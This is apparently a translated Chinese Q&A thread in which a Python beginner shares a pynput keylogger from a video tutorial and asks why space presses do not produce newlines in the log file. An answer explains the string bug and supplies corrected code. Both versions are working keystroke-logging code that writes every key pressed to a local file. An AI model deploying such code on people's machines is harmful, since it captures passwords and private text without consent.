Python按空格键创建新行

Python按空格键创建新行,python,keylogger,pynput,Python,Keylogger,Pynput,我正在运行Python3.8(也在2.7上测试)。下面是我参考视频教程创建的键盘记录器的代码,因为我对Python相当陌生,正在尝试学习。我试图使它在按下空格键时,它会在文件中写入一行,这样它就可以向下调整,看起来更好。我在网上尝试了一些我发现的不同的东西,但是没有任何东西能解决它。如果有人能帮我解释为什么这不起作用,我将不胜感激。谢谢,祝你一周愉快 # Define imports import pynput from pynput.keyboard import Key, List

我正在运行Python3.8(也在2.7上测试)。下面是我参考视频教程创建的键盘记录器的代码,因为我对Python相当陌生,正在尝试学习。我试图使它在按下空格键时,它会在文件中写入一行,这样它就可以向下调整,看起来更好。我在网上尝试了一些我发现的不同的东西,但是没有任何东西能解决它。如果有人能帮我解释为什么这不起作用,我将不胜感激。谢谢,祝你一周愉快

    # Define imports

import pynput
from pynput.keyboard import Key, Listener


# Define variables for keylogger

count = 0
keys = []

# Function to detect key presses

def on_press(key):
    global count, keys

    keys.append(key)
    count += 1
    print(str(key))

    if count >= 1:
        write_file(str(keys))
        keys = [] 
        count = 0


# Function to write the letters to a file

def write_file(keys):
    with open("log_test.txt", "a") as f:
        for key in keys:
            k = str(key).replace("'", "").replace("u", "").replace("]", "").replace(",", "").replace("[", "")

            if k.find("space") >= 0: # This is the code to check for space bar press
                f.write('\n') 
            else:
                k.find("Key") == -1
                f.write(k)


# Detect when a key is released

def on_release(key):
    if key == Key.esc:
        return False


with Listener(on_press=on_press, on_release=on_release) as listener:
    listener.join()


检查空间时,请执行以下操作:

if k.find(" ") >= 0: # use plain space " " and not "space"
    f.write('\n')
那是因为你的“k”不是“空间”,而是“s”、“p”、“a”、“c”、“e”

这不是最优雅的方法,但请尝试以下方法:

def on_press(key):
    global count, keys

    keys.append(key)
    count += 1

    if count >= 1:
        write_file(keys) # don't convert to string here
        keys = [] 
        count = 0

def write_file(key):
    with open("log_test.txt", "a") as f:
        if str(key).find("space") >= 0: # transform to string to find what you want
            f.write('\n') 
        elif str(key).find("Key") == -1: # transform to string to find what you want
            # key will come as a list, like this: ['char']
            # take the first (and only) element, and it will be like this: 'char'
            # then remove the "'" and you'll have your character
            key = str(key[0]).replace("'", '') # take only the character, then save it
            f.write(key)

哦,我的天啊,哈哈,我简直不敢相信!!!太谢谢你了,真不敢相信我竟然没想到。没关系,这是常有的事。除息的